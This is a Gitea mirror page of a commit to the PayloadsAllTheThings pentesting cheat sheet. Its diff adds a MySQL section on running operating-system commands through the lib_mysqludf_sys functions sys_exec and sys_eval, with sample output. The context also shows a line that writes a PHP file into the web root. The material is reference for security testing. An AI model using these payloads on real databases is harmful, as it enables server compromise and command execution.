gitea-mirror/PayloadsAllTheThings
1
0
Fork 0
mirror of https://github.com/swisskyrepo/PayloadsAllTheThings.git synced 2025-12-27 05:03:28 -08:00
Code Issues Packages Projects Releases Wiki Activity

MSQL UDF sys_exec + SSRF IP: 127.1 and 127.0.1

Browse Source
This commit is contained in:
Swissky
2019-04-20 20:23:40 +02:00
parent 271cc269b6
commit 49b9d0aff7
2 changed files with 27 additions and 1 deletions
Download Patch File Download Diff File Expand all files Collapse all files

24
SQL Injection/MySQL Injection.md
View File

@@ -21,6 +21,7 @@
* [MYSQL DIOS - Dump in One Shot](#mysql-dios---dump-in-one-shot)
* [MYSQL Read content of a file](#mysql-read-content-of-a-file)
* [MYSQL Write a shell](#mysql-write-a-shell)
* [MYSQL UDF command execution](#mysql-udf-command-execution)
* [MYSQL Truncation](#mysql-truncation)
* [MYSQL Out of band](#mysql-out-of-band)
* [DNS exfiltration](#dns-exfiltration)
@@ -250,6 +251,29 @@ SELECT '' INTO OUTFILE '/var/www/html/x.php' FIELDS TERMINATED BY '<?php phpinfo
In MYSQL "`admin `" and "`admin`" are the same. If the username column in the database has a character-limit the rest of the characters are truncated. So if the database has a column-limit of 20 characters and we input a string with 21 characters the last 1 character will be removed.
## MYSQL UDF command execution
First you need to check if the UDF are installed on the server.
```powershell
$ whereis lib_mysqludf_sys.so
/usr/lib/lib_mysqludf_sys.so
```
Then you can use functions such as `sys_exec` and `sys_eval`.
```sql
$ mysql -u root -p mysql
Enter password: [...]
mysql> SELECT sys_eval('id');
+--------------------------------------------------+
| sys_eval('id') |
+--------------------------------------------------+
| uid=118(mysql) gid=128(mysql) groups=128(mysql) |
+--------------------------------------------------+
```
## MYSQL Out of band
```powershell